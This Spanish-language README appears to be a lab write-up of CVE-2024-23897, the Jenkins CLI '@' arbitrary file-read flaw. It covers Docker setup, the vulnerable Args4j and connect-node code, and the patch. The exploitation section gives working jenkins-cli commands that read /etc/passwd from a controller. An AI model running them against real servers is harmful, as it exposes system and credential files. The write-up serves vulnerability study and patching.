murataydemir/cve-2024-23897[CVE-2024-23897] Jenkins CI Lectura arbitraria de archivos autenticada a través de la CLI conduce a ejecución remota de código (RCE)
Jenkins es una herramienta DevOps de software de automatización de integración continua/entrega y despliegue continuos (CI/CD) de código abierto y autocontenida, escrita en el lenguaje de programación Java. Se utiliza para implementar flujos de trabajo de CI/CD, denominados pipelines.
Jenkins tiene una interfaz de línea de comandos (CLI) integrada para acceder a Jenkins desde un script o entorno de shell. Jenkins utiliza la librería Args4j para analizar los argumentos y opciones de comando en el controlador de Jenkins al procesar comandos CLI. Este analizador de comandos tiene una característica que reemplaza un carácter @ seguido de una ruta de archivo en un argumento con el contenido del archivo (expandAtFiles). Esta característica está habilitada por defecto y Jenkins 2.441 y anteriores, LTS 2.426.2 y anteriores no la deshabilitan.
Esto permite a los atacantes leer archivos arbitrarios en el sistema de archivos del controlador de Jenkins utilizando la codificación de caracteres predeterminada del proceso del controlador de Jenkins.
Configuración del entorno
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword
Código vulnerable
Cabe señalar que esta vulnerabilidad fue descubierta por el equipo de investigación de vulnerabilidades de SonarSource y esta sección está copiada de la publicación técnica de SonarSource.
El código vulnerable se puede encontrar en la librería Args4j,
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
El método expandAtFiles de la clase CmdLineParser.java básicamente reemplaza un carácter @ seguido de una ruta de archivo en un argumento con el contenido del archivo: comprueba si el argumento comienza con el carácter @ y, si es así, lee el archivo en la ruta después del @ y expande un nuevo argumento para cada línea. Esto significa que si un atacante puede controlar un argumento, puede expandirlo a un número arbitrario de argumentos desde un archivo arbitrario en la instancia de Jenkins.
Una forma en que un atacante podría aprovechar esto es encontrar un comando que acepte un número arbitrario de argumentos y los muestre de vuelta al usuario. Dado que los argumentos se completan con el contenido del archivo, un atacante podría filtrar el contenido del archivo de esta manera. Para este propósito, el comando connect-node en hudson/cli parece ser un buen candidato: recibe una lista de cadenas como argumento e intenta conectarse a cada uno. Si falla, se genera un mensaje de error con el nombre del nodo cuya conexión falló.
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
Este comando connect-node normalmente requeriría el permiso CONNECT, que se verifica en la función cliConnect. Pero dado que la excepción se lanza antes de la comprobación de permisos en la función resolveForCLI, el comando en realidad no requiere ninguna autorización aparte de la verificación de solo lectura inicial.
Pasos de explotación
Normalmente, el @ en Jenkins-cli se utiliza para especificar un archivo que contiene el token de portador o username:password desde un archivo.
Al usar un comando autenticado con Jenkins-cli se obtiene la siguiente salida:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"
Al usar la función del carácter @ para especificar el archivo credentials.txt en el modificador -auth, se obtiene lo siguiente:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"
Análisis del parche
El equipo de seguridad de Jenkins abordó CVE-2024-23897 introduciendo una configuración segura que deshabilita la función expandAtFiles. El parche incluye agregar una verificación de origen al endpoint WebSocket para CVE-2024-23898, evitando el acceso no autorizado.
Commit relevante: jenkinsci/jenkins@554f037
ALLOW_AT_SYNTAX: Esta variable es un booleano que indica si la sintaxis '@' está permitida. Se lee desde las propiedades del sistema.ParserProperties: Esta clase proporciona propiedades para configurar el CmdLineParser.withAtSyntax(ALLOW_AT_SYNTAX): Establece la propiedad 'allowAtSyntax' en ParserProperties basándose en el valor de ALLOW_AT_SYNTAX.new CmdLineParser(this, properties): Esto crea una nueva instancia de CmdLineParser, pasando el objeto actual (this) y las ParserProperties configuradas.Más información sobre la vulnerabilidad CVE-2024-34897 y los créditos son los siguientes: